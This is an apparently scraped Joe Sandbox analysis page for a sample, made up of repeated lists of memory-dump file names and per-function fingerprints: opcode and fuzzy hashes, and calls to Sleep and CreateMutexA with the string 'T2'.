Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: b71ddddc49f7fdce0ad0359083c5f291f89480e89ee1cd85015f9af34617f045
Instruction ID: 12762a1add78444114c49b5fdda039104640947a71020e18e116688345379c01
Opcode Fuzzy Hash: b71ddddc49f7fdce0ad0359083c5f291f89480e89ee1cd85015f9af34617f045
Instruction Fuzzy Hash: C53148717062409BEB08DB78ED89BFCB7A2DFC5310F285229E015F72D5C77659C08652

Function 00E1A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 60da4828d6bb9066c5256eba833e303af77a014ef5bcf30973e3933430a029dd
Instruction ID: 75ba02abda141e337c65920a25feb2485565ef248b80245220dbe3728d1ebffe
Opcode Fuzzy Hash: 60da4828d6bb9066c5256eba833e303af77a014ef5bcf30973e3933430a029dd
Instruction Fuzzy Hash: 4A3137717062409BEB089B78EC8DBFCB7A2EFC6310F285229E015B72E5D77649C08652

Function 00E1A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 72e33a630551e6e25bd5ea6bc4cd5c3e3ca5fe1d50516013f47a87f6e2acc99e
Instruction ID: 46893bf8ad9c583a5bdbe52d8bc347bc2e1ea80959c9ca73b59d95f6828a32f2
Opcode Fuzzy Hash: 72e33a630551e6e25bd5ea6bc4cd5c3e3ca5fe1d50516013f47a87f6e2acc99e
Instruction Fuzzy Hash: B53125317052409BEB08AB78EC8DBFDF7A2EFC1314F286228E065B72D5DB7549C08652

Function 00E1A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 92b4ff56fc83b7a2a7a5fbdae43648e5f52af65673bf178eef669752fa1a2f93
Instruction ID: fcbd4000903c132c753e1927184c579a66822a9043705256601d0821f8a5b772
Opcode Fuzzy Hash: 92b4ff56fc83b7a2a7a5fbdae43648e5f52af65673bf178eef669752fa1a2f93
Instruction Fuzzy Hash: AE3127317062408BEB08DB78ED89BFCF7A2EFC5314F285629E415B72D2DB7589C08652

Function 00E1A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: adc02c77fdb8fbdac4d46a140b6c77ea3192abfe6fe8bd36bd7d8bcd0e67d2f1
Instruction ID: fe879d1afb71f0b138dfa25b1d04354a1ab2166b73e256ade61294d3a3112d97
Opcode Fuzzy Hash: adc02c77fdb8fbdac4d46a140b6c77ea3192abfe6fe8bd36bd7d8bcd0e67d2f1
Instruction Fuzzy Hash: 383113717062409BEB08AB78ED89BFDB7A2DFC1310F289629E015F72D5D7758AC08652

Function 00E19ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: e9bccee1b21d3444229cd1a3f2e127152dd4ab1b334ea9a161d07deb46090171
Instruction ID: 2b913b7d40362ca2216a8e41a04f10efe4ec40cc857efab133e8dfcfdb2e08a5
Opcode Fuzzy Hash: e9bccee1b21d3444229cd1a3f2e127152dd4ab1b334ea9a161d07deb46090171
Instruction Fuzzy Hash: C2213731749240DBEB18AB68FC99BACF7A1EFC1310F245229E419F72E6DB7559C08612

Function 00E1A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
